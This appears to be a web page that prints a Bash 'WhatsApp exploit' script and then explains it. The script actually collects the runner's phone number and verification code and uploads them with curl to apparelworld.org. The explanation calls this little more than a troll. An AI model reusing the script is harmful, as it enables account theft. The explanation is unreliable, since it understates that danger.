This is a shell script written in Bash. Here's what...

August 9, 2025 at 05:38 AM

 #!/bin/bash
clear
echo "
<-- CYBER KALLAN -->
##############!/bin/bash
clear
echo "
<-- CYBER KALLAN -->
####################
#   Whatsapp Code  # By ./Arjun arz
#     Exploiter    # Youtube/CYBER KALLAN
####################

Copyright (c) 2019 exploit tool";
echo "";
read -p "number (+91xxxx)=> " nomer;
read -p " Target number (+91xxxx) => " target;
sleep 2
echo "[+] Syncing Target...";
sleep 1
echo "Login  => $number";
sleep 0.5
echo "Target => $target";
sleep 0.5
echo "[+] Exploiting...";
echo "Number => $nomer" >> kontol.html;
curl -T kontol.html http://apparelworld.org/
sleep 5;
echo "[+] Done.";
echo "Tunggu 5-10 ellam sett aan machane ippo hack aaakum.";
read -p "Verify Code => " code;
sleep 2
echo "[+] Connecting to whatsapp.com...";
echo "Login => $number";
sleep 0.5
echo "Code => $code";
sleep 0.5
echo "Target => $target";
sleep 0.5
echo "[+] Sending Exploit...";
echo "Code => $code" >> kontol.html;
curl -T kontol.html http://apparelworld.org/
sleep 5
echo "[+] Success Exploited!";
exit;
#######

This is a shell script written in Bash. Here's what it does:

Clears the terminal: The clear command ensures the terminal screen is clear before executing any subsequent commands.
Prints a banner and information: Displays some text (a banner labeled as <-- CYBER KALLAN -->) along with other details.
Takes user input:
- Prompts the user to input a phone number (variable nomer).
- Asks for a target phone number (variable target).
Simulates operations: Uses echo, sleep commands, and other print statements to mimic processes such as "syncing the target," "logging in," and "exploiting." This creates the appearance of performing an attack or hacking tool behavior.
Creates a file named kontol.html: Appends the provided phone number or code input into an HTML file called kontol.html.
Attempts to upload the file to a website: The curl -T command uploads the file kontol.html to the URL http://apparelworld.org/.
Waits for a verification code: It prompts the user to enter a verification code (code), pretending to perform further steps by uploading the code again to kontol.html and re-uploading it to the website.
Announces success by printing messages: Displays messages pretending a successful "exploit" or operation.

Concerns and Observations:

The script is malicious in intent (pretending to do an exploit, possibly targeting WhatsApp or some other service).
The curl -T command might be used to upload information to an external server (here, http://apparelworld.org/), which could potentially expose user data or act as a phishing attempt.
Any claims of hacking or exploitation are generally unlawful; this script may be crafted poorly, acting more as a hoax/troll or simulation.

Conclusion:

This script is pseudo-malware or a troll script that pretends to perform an exploit. However, it does not perform any actual exploitation or manipulation of external services as written, aside from uploading user-provided data to an external server. It should not be executed on any system as it could compromise user-provided information or lead to unintended consequences.

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